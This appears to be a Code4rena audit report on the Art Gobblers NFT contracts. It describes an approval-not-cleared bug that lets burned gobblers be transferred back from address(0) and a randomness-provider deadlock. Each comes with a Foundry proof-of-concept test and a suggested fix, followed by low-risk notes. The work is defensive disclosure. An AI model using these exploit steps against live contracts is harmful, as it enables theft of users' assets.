Art Gobblers contest - zzykxx's results

Lines of code

https://github.com/code-423n4/2022-09-artgobblers/blob/main/src/ArtGobblers.sol#L411

Vulnerability details

The function mintLegendaryGobbler() in ArtGobblers.sol burns gobblers by transfering them to address(0) without deleting previous approvals, which allows an user to:

1. Call gobblers.approve() to approve himself for every gobbler he owns and wants to burn
2. Call gobblers.mintLegendaryGobbler() passing the ids of the self-approved gobblers
3. Call gobblers.transferFrom() on every burned gobbler to transfer them from address(0) to himself

Impact

Allows an user to get assets from an account they are not supposed to have access to, address(0). By doing this its possible to gain an unfair advantage in terms of goo multiplier, which lowers the network share of other partecipants, and gobblers owned, which lowers exclusivity.

Proof of Concept

Copy the test in ArtGobblers.t.sol and run it with forge test -m testMintLegendaryGobblerAndGetGobblersBack:

    function testMintLegendaryGobblerAndGetGobblersBack() public {
        uint256 startTime = block.timestamp + 30 days;
        vm.warp(startTime);
        // Mint full interval to kick off first auction.
        mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL());
        uint256 cost = gobblers.legendaryGobblerPrice();
        setRandomnessAndReveal(cost, "seed");

        vm.prank(users[0]);

        /* 
            Approve users[0] as a spender for gobbler 69
        */
        gobblers.approve(users[0], 69);

        for (uint256 curId = 1; curId <= cost; curId++) {
            ids.push(curId);
        }

        /*
            Mint legendary gobbler by burning gobblers with ids [0..=69]
        */
        vm.prank(users[0]);
        gobblers.mintLegendaryGobbler(ids);

        /*  
            Gobbler 69 belongs now to address(0)
        */
        (address owner,,) = gobblers.getGobblerData(69);
        assertEq(owner, address(0));

        /*  
            Transfer gobbler 69 from address(0) to users[0]
        */
        vm.prank(users[0]);
        gobblers.transferFrom(address(0), users[0], 69);

        /*  
            Gobbler 69 is now back in business
        */
        (owner,,) = gobblers.getGobblerData(69);
        assertEq(owner, users[0]);
    }

Mitigation Steps

Deleting approvals of burned gobblers in mintLegendaryGobbler() fixes the issue:

//...snip...

    for (uint256 i = 0; i < cost; ++i) {
        id = gobblerIds[i];

        if (id >= FIRST_LEGENDARY_GOBBLER_ID) {
            revert CannotBurnLegendary(id);
        }

        require(getGobblerData[id].owner == msg.sender, "WRONG_FROM");

        delete getApproved[id]; //<-- /// DELETE APPROVAL ///

        burnedMultipleTotal += getGobblerData[id].emissionMultiple;

        emit Transfer(msg.sender, getGobblerData[id].owner = address(0), id);
    }

//...snip...

Lines of code

https://github.com/artgobblers/art-gobblers/blob/master/src/ArtGobblers.sol#L562

Vulnerability details

It could become impossible to reveal gobblers which leads any new minted gobbler to have an emissionMultiple of 0 forever, preventing them from minting any goo.

Proof of concept

In ArtGobblers.sol calling requestRandomSeed() sets gobblerRevealsData.waitingForSeed = true, which makes both revealGobblers() and upgradeRandProvider() revert.

The only way to set gobblerRevealsData.waitingForSeed = false is by calling acceptRandomSeed() which can only be called by the randProvider itself.

This means that if randProvider stops working and requestRandomSeed() is called (which sets gobblerRevealsData.waitingForSeed = true) there is no way for upgradeRandProvider() and revealGobblers() to be ever called again.

Copy the test in RandProvider.t.sol and run it with forge test -m testRandomnessBrick:

function testRandomnessBrick() public {
    vm.warp(block.timestamp + 1 days);
    mintGobblerToAddress(users[0], 1);

    bytes32 requestId = gobblers.requestRandomSeed();

    /*
        At this point we should have
        vrfCoordinator.callBackWithRandomness(requestId, randomness, address(randProvider));

        But that doesn't happen because we are assuming
        randProvider stopped responding
    /*
    
    /*
        Can't reveal gobblers
    */
    vm.expectRevert(ArtGobblers.SeedPending.selector);
    gobblers.revealGobblers(1);

    /*
        Can't update provider
    */
    RandProvider newRandProvider = new ChainlinkV1RandProvider(
        ArtGobblers(address(gobblers)),
        address(vrfCoordinator),
        address(linkToken),
        keyHash,
        fee
    );

    vm.expectRevert(ArtGobblers.SeedPending.selector);
    gobblers.upgradeRandProvider(newRandProvider);
}

Mitigation Steps

A potential fix is to reset some variables in upgradeRandProvider instead of reverting:

function upgradeRandProvider(RandProvider newRandProvider) external onlyOwner {
    if (gobblerRevealsData.waitingForSeed) {
        gobblerRevealsData.waitingForSeed = false; 
        gobblerRevealsData.toBeRevealed = 0;
        gobblerRevealsData.nextRevealTimestamp = uint64(nextRevealTimestamp - 1 days);
    }

    randProvider = newRandProvider; // Update the randomness provider.

    emit RandProviderUpgraded(msg.sender, newRandProvider);
}

This gives a little extra powers to the owner, but I don't think it's a big deal considering that he can just plug in any provider he wants anyway.

Low risk & QA

1. Lack of a 2-step ownership transfer
2. Gobbler accounting can be wrong
3. There can be more than 1 reveal per 24 hours
4. Truncation at 120 bits instead of 128
5. The idx of legendary gobblers is always 0
6. Floating Pragma

[1] Lack of a 2-step ownership transfer

In ArtGobblers.sol the function setOwner sets the owner variable directly, meaning that passing the wrong address could lead to the contract having an owner which is a dead address.

No more gobblers can be revealed if the owner is a dead address and randProvider stops working.

Implementing a 2-step ownership transfer where the future owner has to accept the ownership by making a call to ArtGobblers.sol might reduce stress levels by quite a bit when and if ownership has to be transferred.

This same reasoning applies to GobblerReserve.sol, which in case of a dead address as owner could cause a loss up to 20% of gobblers and 10% of pages.

Submitting as low risk because of heavy external requirements.

[2] Gobbler accounting can be wrong

At ArtGobblers.sol#L458 a 1 is added to gobblersOwned to factor in the legendary, but then _mint() adds 1 again, meaning that the variable gobblersOwnedis off by 1 per legendary gobbler minted. This is not exploitable, but could lead to problems in external projects that use balanceOf to get an address gobblers balance.

[3] Truncation at 120 bits instead of 128

At ArtGobblers.sol#L461 start price is truncated to 120 bits instead of 128, not exploitable and likely to be a typo.

[4] There can be more than 1 reveal per 24 hours

At ArtGobblers.sol#L535 the nextRevealTimestamp variable is set to the current nextRevealTimestamp + 1 day, but this can still result in a past timestamp if requestRandomSeed() wasn't previously called in the past 24 hours. Could be considered a design choice, but it's nice to be aware of it. Not exploitable per my findings.

[5] The idx of legendary gobblers is always 0

The function mintLegendaryGobbler() never sets the idx of the minted legendary gobbler.

[6] Floating Pragma

Most of the in-scope contracts require solidity compiler to be >=0.8.0, as per SWC consider using a fixed compiler version.